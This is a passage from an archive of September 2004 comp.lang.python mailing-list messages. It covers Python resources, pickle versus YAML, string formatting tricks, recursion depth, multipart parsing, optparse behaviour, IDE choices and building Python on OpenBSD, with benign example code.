Python resources. http://www.vex.net/~x/parnassus/ Much of Python's real work takes place on Special-Interest Group mailing lists http://www.python.org/sigs/ The Python Business Forum "further[s] the interests of companies that base their business on ... Python." http://www.python-in-business.org Python Success Stories--from air-traffic control to on-line match-making--can inspire you or decision-makers to whom you're subject with a vision of what the language makes practical. http://www.pythonology.com/success The Python Software Foundation (PSF) has replaced the Python Consortium as an independent nexus of activity. It has official responsibility for Python's development and maintenance. http://www.python.org/psf/ Among the ways you can support PSF is with a donation. http://www.python.org/psf/donate.html Cetus collects Python hyperlinks. http://www.cetus-links.org/oo_python.html Python FAQTS http://python.faqts.com/ The Cookbook is a collaborative effort to capture useful and interesting recipes. http://aspn.activestate.com/ASPN/Cookbook/Python Among several Python-oriented RSS/RDF feeds available are http://www.python.org/channews.rdf http://bootleg-rss.g-blog.net/pythonware_com_daily.pcgi http://python.de/backend.php For more, see http://www.syndic8.com/feedlist.php?ShowMatch=python&ShowStatus=all The old Python "To-Do List" now lives principally in a SourceForge reincarnation. http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse http://python.sourceforge.net/peps/pep-0042.html The online Python Journal is posted at pythonjournal.cognizor.com. editor at pythonjournal.com and editor at pythonjournal.cognizor.com welcome submission of material that helps people's understanding of Python use, and offer Web presentation of your work. *Py: the Journal of the Python Language* http://www.pyzine.com Archive probing tricks of the trade: http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100 http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.* Previous - (U)se the (R)esource, (L)uke! - messages are listed here: http://www.ddj.com/topics/pythonurl/ http://purl.org/thecliff/python/url.html (dormant) or http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python Suggestions/corrections for next week's posting are always welcome. E-mail to should get through. To receive a new issue of this posting in e-mail each Monday morning (approximately), ask to subscribe. Mention "Python-URL!". -- The Python-URL! Team-- Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and sponsor the "Python-URL!" project. From andymac at bullseye.apana.org.au Thu Sep 16 08:39:14 2004 From: andymac at bullseye.apana.org.au (Andrew MacIntyre) Date: Thu, 16 Sep 2004 22:39:14 +1000 (EST) Subject: ghostscript In-Reply-To: References: Message-ID: <20040916223828.J88910@bullseye.apana.org.au> On Thu, 15 Sep 2004, Chris Jankowski wrote: > There is a limit on the length of the command line to pass to > Ghostscript. I have not figured out how to get around this yet. Use a response file? ------------------------------------------------------------------------- Andrew I MacIntyre "These thoughts are mine alone..." E-mail: andymac at bullseye.apana.org.au (pref) | Snail: PO Box 370 andymac at pcug.org.au (alt) | Belconnen ACT 2616 Web: http://www.andymac.org/ | Australia From claird at lairds.us Sun Sep 19 17:08:09 2004 From: claird at lairds.us (Cameron Laird) Date: Sun, 19 Sep 2004 21:08:09 GMT Subject: uptime in unix References: Message-ID: In article , Oli Schwarz wrote: >Hello, > >how can I read out the uptime of a unix system in python (Linux and *BSD). > >I have not found a uptime-function in the Library. . . . Is it enough to parse the output of uptime(1)? From chrisks at NOSPAM.udel.edu Sun Sep 19 19:23:18 2004 From: chrisks at NOSPAM.udel.edu (Chris S.) Date: Sun, 19 Sep 2004 23:23:18 GMT Subject: PyYaml? In-Reply-To: References: <2IO2d.1086$HH5.1025@trndny05> <87r7oyfy78.fsf@blakie.riol> Message-ID: Paul Moore wrote: > "Hostile" seems a little exaggerated. The original posting (quoted > above) asked the question "Is there any benefit to Pickle over YAML?" > I suppose that a reasonable answer (from me) might be "not that I > know of", but that begs the question, as I know very little of YAML. > > Maybe the original poster (or some other supporter of YAML) could > provide some reasons to think that YAML *might* be superior to > Pickle. Then the people who know about Pickle could respond more > helpfully. > > For example, you (Chris S) claim that YAML is "more secure, portable, > and readable". OK, let's take these in turn: > > More secure - as others have pointed out, Pickle allows pickling and > unpickling of class instances, and class code can do what it likes in > the constructor (I oversimplify here, as I don't know the details well > myself). Sure, this is a security issue, but it's an inherent > insecurity in the feature, and not limited to Pickle. If YAML > implemented the same feature, it would have the same issues to > resolve. Improving security by removing features isn't a clear win for > YAML (note thet I am not saying that security in exchange for reduced > features might not be a good tradeoff in some cases - I'm addressing > the "replace Pickle with YAML" suggestion, not a suggestion that we > have both). I don't quite follow your logic. If you load a serialized file, you should conceivably already know what classes it should and should not be instantiating, and be able to restrict its access accordingly. Of course, a file could still be altered to wreak havoc within the confines of the set limitations, but I'm under the impression that Pickle allows execution of arbitrary code, regardless of the classes being instantiated. Please correct me if I'm wrong. > More portable - hmm, OK. I'm not sure where you want portability > *between*, though. Pickle is, as far as I know, portable across > platforms. Are you talking about portability between languages? I > can't think where I'd want to dump a Python object for loading into > Perl or Ruby, though. Can you offer me some real-life use cases? I meant language and platform portability. I suppose you'd find this aspect attractive for the same reasons you'd use XML, which some have also used as a serialization format. Granted, not every languages' objects may be translatable, but many languages share common data primitives. > More readable - I'll give you this. And yes, it can be useful. I've > been stuffed before now with Java programs whose configuration is > stored as a serialised-to-disk object which is completely opaque to > external tools, let alone human readers. But this is a property that > is useful only in case of failure (if the config gets stuffed, I can > hand-hack the dump file, or if I forget what I set parameter X to, I > can look in the dump). If the application design *requires* the dump > format to be readable, we've moved away from serialisation, and > started to talk about configuration formats (which is a separate > issue, one in which it is quite possible that YAML is strong, but > *not* one in which it is competing with Pickle). [snip] > None of this is a criticism of YAML and/or its libraries themselves. > However, it does make any suggestion that YAML be used to replace a > key part of the Python standard library seem a little premature, at > least. > > I hope this response didn't come across as hostile - I certainly > don't intend it that way. But I do believe that it is the > responsibility of those making the suggestion that YAML replace > pickle to come up with decent arguments. (Or a robust, tested, > documented patch for the Python core, of course - that avoids the > impression that the requester is hoping that someone else will do the > work for him :-)) Fair enough. I didn't mean to imply that the current YAML implementations were drop-in replacements for Pickle, only that the concept of YAML deserves more attention. > I'd like to see a strong (this includes "well-documented"!! :-)) YAML > library for Python, if only so I could try it out and find out what > YAML *is* good for, in my environment. In theory, I like YAML - it's > just the practicalities that elude me. > > [Later] > I just re-read some of the YAML website. It appears clear from there > that YAML is designed as a serialisation format. But there seems to > be a lack of justification as to *why* the design goals (section 1.1 > of the spec) are important. Also, security is *not* an explicit goal, > and section 3.1.6 (the "Construct" process) is completely lacking in > any discussion of the security or other implications of converting a > YAML file to a native language object. This seems somewhat surprising > in a specification for a serialisation format... Well, if the concept of serialization is indeed inherently insecure, what could they possibly do? In order for YAML to directly address security, it would have to concern itself with the "meaning" of the data being serialized, which seems outside the scope of YAML's purpose. Serialization security seems generally assigned as a responsibility of the user, who is usually in the best position to gage their data's effects. The best a serialization format can do is ensure data reconstruction within the bounds described by the user. From pfortin at pfortin.com Fri Sep 10 09:31:56 2004 From: pfortin at pfortin.com (Pierre Fortin) Date: Fri, 10 Sep 2004 09:31:56 -0400 Subject: string formatting with mapping & '*'... is this a bug? References: <20040909140649.6d2eff6e@gypsy.pfortin.com> <20040909152328.2233c917@gypsy.pfortin.com> <1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com> <20040909183705.69696290@gypsy.pfortin.com> <1gjw1ih.2x26851nz2m54N%aleaxit@yahoo.com> <20040910064659.7a1c66af@gypsy.pfortin.com> <1gjwfl1.i046071x80ul9N%aleaxit@yahoo.com> Message-ID: <20040910093156.4cfcb6ff@gypsy.pfortin.com> On Fri, 10 Sep 2004 13:31:09 +0200 Alex wrote: > You don't need this with Python 2.3 and later -- just call dict with > keyword args, it just works!-) Cool! :^) > > # line continuations must be left-justified to avoid extra spaces > > nope, you can format as you wish, thanks to Python's handy idea > (mutuated from C) of merging logically adjacent literals: I'd bumped into er... "issues" a few years ago with "print (...)" so I never re-explored it... thanks for updating me... :> > Anyway, your solution is neat but it seems a bit repetitive to me. Agreed... but I've not yet explored classes beyond some really trivial stuff.. > class formatter: > def __init__(self, format_map, default_width=6, default_prec=2): > self.__dict__.update(locals()) > def __getitem__(self, varname): > return '%%(%s)%d.%d" % (varname, > self.format_map.get('w'+varname, self.default_width), > self.format_map.get('p'+varname, self.default_prec)) > > now you can modify your code to do > fmt = formatter(fmt) OK so far... this works, until.... > [[you can actually simplify your fmt dict a lot thanks to the > defaults]], and then code the printing like: AH-HA!!!! anything _not_ specified is defaulted... took me a minute to realize that I needed to remove the EXplicits in favor of the IMplicits... not just remove their values... DUH!! Nice!! MANY THANKS!! Pierre PS: Here's the latest incarnation of the test script... for me, the "voodoo" part is self.__dict__.update(locals()) Not sure I could have found that, since without it, the error: Traceback (most recent call last): File "./foo", line 40, in ? print ( "%(Date)ss %(Open)sf %(High)sf %(Low)sf " File "./foo", line 7, in __getitem__ return "%%(%s)%d.%d" % (varname, AttributeError: formatter instance has no attribute 'format_map' seems cryptic until one realizes it's an initilization problem... Right? ------------------------- #!/usr/bin/env python class formatter: def __init__(self, format_map, default_width=6, default_prec=2): self.__dict__.update(locals()) def __getitem__(self, varname): return "%%(%s)%d.%d" % (varname, self.format_map.get('w'+varname, self.default_width), self.format_map.get('p'+varname, self.default_prec)) fmt = dict( wDate=10, pDate=10, wVolume=10, pVolume=0, wChange=5, pChange=5, ) fmt = formatter(fmt) # data will be read from several thousand files sampledata = [ "9-Sep-04,19.49,20.03,19.35,19.93,60077400,19.93", "8-Sep-04,18.96,19.53,18.92,18.97,52020600,18.96", "7-Sep-04,18.98,19.18,18.84,18.85,45498100,18.84", ] change=["down","up","n/c"] for D in sampledata: Date, Open, High, Low, Close, Volume, AdjClose = D.split(',') map = dict(Date=Date, Open=float(Open), High=float(High), Low=float(Low), Close=float(Close), Volume=int(Volume), AdjClose=float(AdjClose), Change=change[int(float(AdjClose) >= float(Open)) + int(float(AdjClose) == float(Open))] ) print ( "%(Date)ss %(Open)sf %(High)sf %(Low)sf " "%(Close)sf %(Volume)sd %(AdjClose)sf %(Change)ss" % fmt % map ) ---------------------- MUCH simpler/cleaner!! Though I gotta understand how the 2 mappings got used. Is it as simple as print() iterating over N mappings, taking the next character(s) for the format..? Elegant if so... though more than 2 mappings could be mind-bending... :^) Note that I changed "%%(Change)s" to likewise get rid of that oddity... This has turned into quite a "less is more" education for me... :^) Thanks again! From danb_83 at yahoo.com Wed Sep 8 20:11:03 2004 From: danb_83 at yahoo.com (Dan Bishop) Date: 8 Sep 2004 17:11:03 -0700 Subject: %a format References: <10jsqrm2rsqdc39@news.supernews.com> Message-ID: "John Roth" wrote in message news:<10jsqrm2rsqdc39 at news.supernews.com>... > "Tor Iver Wilhelmsen" wrote in message > news:usm9tx5n3.fsf at broadpark.no... > > John Lenton writes: > > > >> Is there any reason python's printf-style formatting is missing the > >> (C99) '%a' specifier? > > > > Because it's not very well known or used? A google for "C printf > > format string" gave lots of resources, none of which had %a. > > > > Java's JDK 1.5 java.util.Formatter class supports it, though. > > I suspect there's no major reason more significant than that > no one has written the patch to support it. That might suggest > that no one really cares enough to do so - IIRC, Python > shifted from using the C library printf() function to its own > code some time ago, so there's no real commitment to > following the C standard in this instance. > > If the OP wants it, I would suggest that he write the patch > (complete with the doc changes, etc.) and submit it. It might > be a good idea to provide a use case more significant than > "it's in the C99 standard" as well - but then I'm not > channeling the core developers that well these days. Why stick to just adding one conversion specifier to one data type? Why not allow a programmer to define their own custom specifiers? class Bits(int): def __sprintf__(self, flags, precision, conversion): if conversion == 'b': # return a binary string return itoa(self, 2) # Why isn't this a standard function? else: return NotImplemented >>> n = Bits(100) >>> # The % operator would call __sprintf__ >>> print '%b' % n 1100100 >>> # If it isn't implemented, use the current behavior as a default. >>> print '%d' % n 100 You'd be able to redefine the existing conversion too, in case you want, for example, a high-precision numeric type to convert '%.1000f'%x accurately. From jeffrey at fro.man Sun Sep 26 10:28:59 2004 From: jeffrey at fro.man (Jeffrey Froman) Date: Sun, 26 Sep 2004 07:28:59 -0700 Subject: Blender! References: Message-ID: <10ldkhbkmilivc7@corp.supernews.com> Phil Frost wrote: > Hopefully I got that right. I can't solve your problem, but I did find > some forums in portuguese that might address your problem. But isn't the OP in Italian? Jeffrey From kirk at eyegor.jobsluder.net Sun Sep 19 20:28:12 2004 From: kirk at eyegor.jobsluder.net (Kirk Job-Sluder) Date: Mon, 20 Sep 2004 00:28:12 GMT Subject: python is going to die! =( References: Message-ID: On 2004-09-20, Cliff Wells wrote: > On Sun, 2004-09-19 at 19:53 -0400, julio wrote: > >> So am i missing something ? are any of my arguments wrong ? again : > > The fundamental problem with your arguments/complaints is that you > somehow think that someone, somewhere on this list owes you something. Bingo. In addition, the argument that such and such a language is going to wither away and "die" in the face of the popularity of another language is an old troll that's been heard many times before about languages that amazingly still find themselves to be the right tool for a specific job. Bourne, awk and sed didn't vanish with perl. C++ didn't vanish in the face of Java and Visual Basic. > If you want an IDE and you know what makes a good one, then you should > write one. Better yet, help out on one of the existing ones (i.e. Boa > Constructor, Anjuta) and help shape it into what you think an IDE should > be. And if his isn't willing to participate in improving existing IDEs then complaining about it on c.l.python is a waste of his time and ours. (Of course, I can use a good waste of time right now. > Regards, > Cliff > -- Kirk Job-Sluder "The square-jawed homunculi of Tommy Hilfinger ads make every day an existential holocaust." --Scary Go Round From adalke at mindspring.com Thu Sep 30 14:28:30 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Thu, 30 Sep 2004 18:28:30 GMT Subject: getrecursiondepth In-Reply-To: References: <27eal09cb6ggho5gbstgkbmvgillnova08@4ax.com> <6fD5d.10550$gG4.6048@newsread1.news.pas.earthlink.net> Message-ID: Me: >>Try this as a alternate solution for your style >>of use. It's still not the right one because it >>doesn't handle reloads nor multiple functions >>created through exec's. Manlio Perillo wrote: > No, I don't want this. "Hello!" should be printed every times. I see. I was writing code to emulate C's "static" behaviour which is not what you wanted. > Here is a functions that returns True if the caller's 'recursion > depth' is 1. > Please check if this is correct. >>>>def firstlevel_call(): > > return sys._getframe(1).f_code != sys._getframe(2).f_code > N.B.: sys._getframe(2) can raise an exception Looks like it should work, and be thread-safe. Again, I don't suggest using it. It's going to be slower than one where you use pass the stack depth in as a parameter. It's also going to depend on implmentation behaviour. Someday a Python system may not instantiate the stack information until it's requested, causing a big run-time hit. But that's only theoretical. > Sorry, I don't understand. > Here is my_function: > > > def my_function(a, b, *args, **kwargs): > print 'a, b, args, kwargs:', a, b, args, kwargs That's not recursive, so I don't know how to interpret your question. Let's suppose you're doing Ackermann's function def Ackermann(m, n): if m == 0: return n+1 if n == 0: return Ackermann(m-1, 1) return Ackermann(m-1, Ackermann(m, n-1)) You might want to add some parameter checking and add some stack checking. You can do it like this def _Ackermann(m, n, depth): if not depth: raise AssertionError("too deep") if m == 0: return n+1 if n == 0: return _Ackermann(m-1, 1, depth-1) return _Ackermann(m-1, _Ackermann(m, n-1, depth-1), depth-1) def Ackermann(m, n): if (m < 0 or n < 0 or int(m) != m or int(n) != n): raise TypeError("Bad parameter") return _Ackermann(m, n, 20) When I run print Ackermann(3,2) I get the following Traceback (most recent call last): File "", line 28, in ? File "", line 13, in Ackermann File "", line 8, in _Ackermann File "", line 8, in _Ackermann File "", line 8, in _Ackermann File "", line 8, in _Ackermann File "", line 8, in _Ackermann File "", line 8, in _Ackermann File "", line 8, in _Ackermann File "", line 8, in _Ackermann File "", line 8, in _Ackermann File "", line 8, in _Ackermann File "", line 8, in _Ackermann File "", line 8, in _Ackermann File "", line 8, in _Ackermann File "", line 8, in _Ackermann File "", line 8, in _Ackermann File "", line 8, in _Ackermann File "", line 8, in _Ackermann File "", line 8, in _Ackermann File "", line 8, in _Ackermann File "", line 7, in _Ackermann File "", line 3, in _Ackermann AssertionError: too deep and when I run print Ackermann(-1, -2) I get the checking from the entry point, which is Traceback (most recent call last): File "", line 14, in ? File "", line 12, in Ackermann TypeError: Bad parameter Andrew dalke at dalkescientific.com From chrisks at NOSPAM.udel.edu Sat Sep 18 02:39:12 2004 From: chrisks at NOSPAM.udel.edu (Chris S.) Date: Sat, 18 Sep 2004 06:39:12 GMT Subject: PyYaml? In-Reply-To: <7xy8j8hzo6.fsf@ruckus.brouhaha.com> References: <2IO2d.1086$HH5.1025@trndny05> <7xy8j8hzo6.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: > Bleccch! gesundheit? From ed at leafe.com Wed Sep 29 07:27:08 2004 From: ed at leafe.com (Ed Leafe) Date: Wed, 29 Sep 2004 07:27:08 -0400 Subject: [ANN] Dabo 0.2 Released In-Reply-To: <80ddf086.0409282255.5cbc8070@posting.google.com> References: <80ddf086.0409282255.5cbc8070@posting.google.com> Message-ID: <7F71FCE7-120A-11D9-B926-003065B11E84@leafe.com> On Sep 29, 2004, at 2:55 AM, Bajusz Tam?s wrote: > Have you seen GNUe? (www.gnuenterprise.org) > Same goals, but more mature. Yes, we've seen it, and while it looks like a good effort, its goals are not quite the same. GNUe creates monolithic apps, while we are stressing true 3-tier app designs. To those who have a lot of experience in app design, this is huge. ___/ / __/ / ____/ Ed Leafe http://leafe.com/ http://dabodev.com/ From albalmer at att.net Fri Sep 3 19:20:29 2004 From: albalmer at att.net (Alan Balmer) Date: Fri, 03 Sep 2004 16:20:29 -0700 Subject: Xah Lee's Unixism References: <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> Message-ID: On Fri, 03 Sep 2004 22:58:35 GMT, gwschenk at fuzz.socal.rr.com (Gary Schenk) wrote: >In comp.lang.perl.misc Alan Balmer wrote: > >> >> I'm not a fan of Mr Hatch, but blaming him for the shuttle disaster(s) >> is somewhat over the top. Why not blame President Bush? That's the >> popular thing nowadays. >> > >IIRC, the vice-president is in charge of the space program, so shouldn't >President Bush accept some blame? The Vice President isn't "in charge" of the space program, except for Al Gore, who probably invented it. The shuttles were designed and built some considerable time before Bush became President. Good try, though, the DNC would be proud. -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From donn at drizzle.com Mon Sep 6 01:48:33 2004 From: donn at drizzle.com (Donn Cave) Date: Mon, 06 Sep 2004 05:48:33 -0000 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <41374cfb$0$22750$db0fefd9@news.zen.co.uk> <1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com> <1094359182.57429@yasure> Message-ID: <1094449712.70288@yasure> Quoth Bryan Olson : ... | Alas, that's ML, not Python. Were that Python's designers' | intent, why isn't it part of Python's design? Why would we want | to live within the confines of static typing, but without the | safety and efficiency advantages of a type-checking compiler? That is not what is homogeneous about a list. That would indeed be an absurd contradiction, so it should be easy to convince you that it isn't how anyone proposes you should use a list. So, what do they mean? A homogeneous sequence, in the sense that makes sense in Python, is one where any slice is has the same functional meaning to the application. Of course the data is different and that can have fundamental consequences, but it's different than (key, value) for example where a[:] is the only slice that preserves its meaning. Whether it was a well chosen word for it or or not, this notion of how lists are designed to be used, as opposed to tuples, is evidently why there is no index() function. That's all. Donn Cave, donn at drizzle.com From dkuhlman at rexx.com Fri Sep 24 15:32:43 2004 From: dkuhlman at rexx.com (Dave Kuhlman) Date: Fri, 24 Sep 2004 12:32:43 -0700 Subject: How to parse multi-part content Message-ID: <2rjb2cF1b34ofU1@uni-berlin.de> Suppose that I have content that looks like what I've included at the end of this message. Is there something in the standard Python library that will help me parse it, break into the parts separated by the boundary strings, extract headers from each sub-part, etc? Do I need to add something like the following to the beginning? Content-Type: multipart/related; type="multipart/alternative"; boundary="-----------------------------1646970154570313593966717980" I've tried working with the email, mimetools, and multifile modules in the standard library. But my understanding of these things is dim, and I have not had success. Is there a beginner's guide somewhere that I should read? In case you are curious, this is content posted to my Zope server when I include an element '' in my form. Here is the content that I need to parse: -----------------------------1646970154570313593966717980 Content-Disposition: form-data; name="xschemaContent" -----------------------------1646970154570313593966717980 Content-Disposition: form-data; name="xschemaFile"; filename="po.xsd" Content-Type: application/octet-stream -----------------------------1646970154570313593966717980 Content-Disposition: form-data; name="which" superclass -----------------------------1646970154570313593966717980 Content-Disposition: form-data; name="Submit" Submit -----------------------------1646970154570313593966717980-- -- Dave Kuhlman http://www.rexx.com/~dkuhlman From ad at astral-on.net Fri Sep 17 09:28:48 2004 From: ad at astral-on.net (Andrew Degtiariov) Date: Fri, 17 Sep 2004 16:28:48 +0300 (EEST) Subject: [implement python code in C] can't set attributes of built-in/extension type In-Reply-To: References: <20040917121443.GE46803@astral-on.net> Message-ID: <20040917132848.GG46803@astral-on.net> On Fri, Sep 17, 2004 at 12:43:56PM +0000, Michael Hudson wrote: > Andrew Degtiariov writes: > > > Hello! > > I tried to rewrite my python module in C. > > Are you targetting Python 2.2 or later? yes, Python 2.3 > > > My module is successfully imported but i can't assing anything to > > class attributes (tp_setattr in PyTypeObject for class FlowReportRow > > filled up by pointer to FlowReportRowObjectSetAttr function and > > printf in ones show the function does not called) Where I was > > mistaken? (you may see the module sources at > > http://astral.ua/~ad/Report.c) > > Argh! You're making life very tedious for yourself... > > Do you know what you can do with the tp_members and tp_getsets field > of the type object? I think a C macro expanding to a couple getset > defintions would make your code more pleasant. > > I think implementing tp_getattro and not tp_getattr will solve your > immediate problem. Thanks you for tips. -- Andrew Degtiariov DA-RIPE From liquid at kuht.it Sat Sep 18 16:48:22 2004 From: liquid at kuht.it (GMTaglia) Date: Sat, 18 Sep 2004 20:48:22 GMT Subject: optparse question Message-ID: Hi guys, I was wondering why optparse accept an option if in the command line is not *exactly* the one present in the source code....may be an example will explain better.... #!/usr/bin/env python import optparse as opt parser = opt.OptionParser() parser.add_option("-f", "--filein", dest="fileinput", help="filename to read", metavar="FILE") (options, args) = parser.parse_args() count = 0 filename = open(options.fileinput, 'r') for lines in filename.xreadlines(): count += 1 print count if you run this dumb example in this way: liquid at jupiter liquid $ ./testi.py --fil elenco_tm.txt 367 it goes on, but the option must be --filein not --fil Is true that if you have another option like parser.add_option("-f", "--fileout", dest="fileoutput", help="filename to write", metavar="FILE") the program will stop raising a conflict option, but why accept only the beginning of the long option instead of the exact one? Have a nice sunday, and as usual sorry for the english... GMario From ben at benlast.com Tue Sep 14 09:04:24 2004 From: ben at benlast.com (Ben Last) Date: Tue, 14 Sep 2004 14:04:24 +0100 Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: <864d3709040913131077f1732d@mail.gmail.com> Message-ID: > From Carlos Ribeiro > I'm frustrated. My search for a good IDE to support my activities -- > doing development for Python in the Windows environment -- are not > being succesful as I had originally dreamt... Rather than attempt to convert you to $MyFavouriteTool here, I'll suggest another way to look at the problem. Treat the operating system as the IDE (as old Unix hands will know). For example - I use either SPE or Boa to do my Python editing - often leaving one instance of SPE running with many files open. For running scripts, much of the time I'm in a cygwin (http://www.cygwin.com/) window; I tend to keep one open running the Python interpreter also, as a quick-and-dirty shell for testing things out. If I need a debugger it's Boa or maybe PythonWin. The same file may be flung from one tool to the other depending on what I'm doing. Boa scores heavily for Zope authoring, where 90% of the code is in a Python module that provides external methods for the web environment. SPE scores as a nice editor, most of the time; especially since if it's closed down it'll reopen with all the same files as before. In other words, don't look for one tool that does it all, but assemble a set of them, and use parts of each. ben From barbr-en_delete_ at online.no.invalid Mon Sep 6 19:35:23 2004 From: barbr-en_delete_ at online.no.invalid (Kåre Olai Lindbach) Date: Tue, 07 Sep 2004 01:35:23 +0200 Subject: Xah Lee's Unixism References: <413af268$0$19706$61fed72c@news.rcn.com> <413c5b9c$0$19705$61fed72c@news.rcn.com> <1s4ihc.4i4.ln@via.reistad.priv.no> Message-ID: On Mon, 6 Sep 2004 23:55:28 +0100, "Alan J. Flavell" wrote: >On Tue, 7 Sep 2004, John Thingstad wrote: > >> It was the realization of www (CERN) that spawned the movement toward the >> Internet. > >Eh? http://www.hitmill.com/internet/web_history.asp Or rather the history of Tim Berners-Lee. (I even believeI have read it Berners-Lee first tried to implement this on a norwegian Nord machine - Norsk Data :) -- mvh/Regards K?re Olai Lindbach (News: Remove '_delete_' and '.invalid') (HTML-written email from unknown will be discarded) From noah at noah.org Fri Sep 17 13:28:11 2004 From: noah at noah.org (Noah) Date: 17 Sep 2004 10:28:11 -0700 Subject: How do I build Python 2.3.4 on OpenBSD 3.5? References: <41489418$0$26168$9b622d9e@news.freenet.de> Message-ID: "Martin v. L?wis" wrote in message news:<41489418$0$26168$9b622d9e at news.freenet.de>... > > OpenBSD does not support Python, so Python has to work around. > However, the OpenBSD work-around is only in force for versions > up to OpenBSD 3.4. In configure, locate the place where it > talks about OpenBSD; then add a 5 to the place that already > lists 234. > > Regards, > Martin Is it more correct to say that Python does not support OpenBSD? It seems like the language should support the OS and not the other way around. What limitations are there for Python on OpenBSD? What work-arounds does Python have to take? It looks like it undefines _XOPEN_SOURCE. Does this limit features on OpenBSD? Should it be a bug that configure doesn't also do this for OpenBSD 3.5? Although Python 2.3.4 came out before OpenBSD 3.5. Thanks for the tip. This fixed everything and it builds fine now. Yours, Noah From aleaxit at yahoo.com Sat Sep 11 02:48:05 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 11 Sep 2004 08:48:05 +0200 Subject: string formatting with mapping & '*'... is this a bug? References: <20040909140649.6d2eff6e@gypsy.pfortin.com> <20040909152328.2233c917@gypsy.pfortin.com> <1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com> <20040909183705.69696290@gypsy.pfortin.com> <1gjw1ih.2x26851nz2m54N%aleaxit@yahoo.com> <20040910064659.7a1c66af@gypsy.pfortin.com> <1gjwfl1.i046071x80ul9N%aleaxit@yahoo.com> <20040910093156.4cfcb6ff@gypsy.pfortin.com> <1gjwo5q.meek2hr5madpN%aleaxit@yahoo.com> Message-ID: <1gjxvym.103ml938difr2N%aleaxit@yahoo.com> Andrew Dalke wrote: ... > A "clever" (a-hem :) solution can use decorators. True. > It's hard to make the call signature correct though. Maybe module inspect could help -- it's generally the best way to introspect function signatures in Python. But, perhaps accepting some sloppiness at the margins, we might code something like (untested!!!): import itertools def store_args(f): co = f.func_code args = co.co_varnames[1:co.co_argcount] defs = dict(itertools.izip(reversed(args), f.func_defaults or ())) def inner(self, *as, **kw): kkw = dict(defs, **kw) kkw.update(itertools.izip(args, as)) for kv in kkw.iteritems(): setattr(self, *kv) return f(self, *as, **kw) inner.__name__ = f.__name__ return inner class foo: @store_args def __init__(self, a, b, c): pass def __str__(self): return str(self.__dict__) f = foo(1, 2, 3); print f You could add sanity checks such as, f is not allowed a *foo argument (it makes no sense in this context for f to get arguments of which it does not know the names). But apart from such issues at the margins, the signature check happens at inner's call to f -- if any arguments are missing or not recognized, that call will raise. So, inner's job is just to consider names and values with the right priority: defaults first (least priority), then explicitly passed ones (either order since they can't clash -- if they do the call to f will raise). Here, I build the auxiliary dict kkw just that way. I think I still prefer good old self.__dict__.update(locals()), personally: it's way simpler. Of course, this one has some pluses, such as calls to setattr rather than __dict__ updates, so it will work in presence of __slots__, properties, or other weird descriptors, while my favourite, simpler, more explicit solution doesn't. Alex From peter at somewhere.com Thu Sep 16 05:13:28 2004 From: peter at somewhere.com (Peter Maas) Date: Thu, 16 Sep 2004 11:13:28 +0200 Subject: comparing datetime with date In-Reply-To: References: Message-ID: Diez B. Roggisch schrieb: > The matter is that you try to compare two different things here - so its up > to the implementation if how it deals with this, as there is no canonical > way to compare two things that aren't even structural equivalent. datetime and date are different by implementation, not by meaning. Both are time intervals. -- ------------------------------------------------------------------- Peter Maas, M+R Infosysteme, D-52070 Aachen, Tel +49-241-93878-0 E-mail 'cGV0ZXIubWFhc0BtcGx1c3IuZGU=\n'.decode('base64') ------------------------------------------------------------------- From mwilson at the-wire.com Fri Sep 3 09:33:55 2004 From: mwilson at the-wire.com (Mel Wilson) Date: Fri, 03 Sep 2004 09:33:55 -0400 Subject: It's in Python. It just _works_! References: <4137b3ed$0$65570$a1866201@newsreader.visi.com> <4137B706.B666E733@alcyone.com> Message-ID: In article <4137B706.B666E733 at alcyone.com>, Erik Max Francis wrote: >Grant Edwards wrote: > >> Today, just for fun, I decide to try to run it under Win32. >> After installing the Numeric and Gnuplot modules, I only had to >> make 1-line changes to two places in the code, and it started >> working. > >I was similarly surprised when, after writing ZOE (a simple 3D rendering >engine using OpenGL) for Linux, I decided on a whim to try it on Windows >(since I don't use Windows for anything other than playing games). >After installing PyOpenGL, a fairly involved simulation worked with >absolutely no hitches. In my case, I didn't even have to change one >line of code! Ditto for a couple of wxPython-based programs that I wrote on Win32 (I haven't gotten around to installing OpenGL on my Linux machines.) Handed to the users, who use mostly OS-X and Linux, the programs did just work. Regards. Mel. From p at ulmcnett.com Wed Sep 29 16:29:54 2004 From: p at ulmcnett.com (Paul McNett) Date: Wed, 29 Sep 2004 13:29:54 -0700 Subject: interactive help on string functions - howto In-Reply-To: <415B17D0.6080806@skynet.be> References: <415aede9$0$24598$ba620e4c@news.skynet.be> <415B17D0.6080806@skynet.be> Message-ID: <200409291329.54085.p@ulmcnett.com> Helmut Jarausch writes: > Still I wonder why I have to prefix it with 'str.' Because the only builtin identifiers are: >>> for name in dir(__builtins__): ... print name ArithmeticError AssertionError ... [snip] vars xrange zip rstrip isn't a builtin, but a method of the str class. str is builtin. Hence, to access rstrip(), you have to call it as a method of a string class or instance. >>> s = "mango" >>> help(s.rstrip) >>> help(str.rstrip) Both calls to help will yield the same documentation. help() is a builtin function, which is why you don't have to preface that with anything. > I don't need to import str and I don't need to prefix rstrip > with 'str.' to USE it - why do I have to do so with HELP > then? You *do* have to prefix rstrip, with a str class or instance. >>> rstrip Traceback (most recent call last): File "", line 1, in ? NameError: name 'rstrip' is not defined >>> str.rstrip >>> s = "cashew" >>> s.rstrip Mmmmm. Time for lunch. :) -- Paul McNett Independent Software Consultant http://www.paulmcnett.com From zanesdad at bellsouth.net Wed Sep 1 13:19:12 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Wed, 01 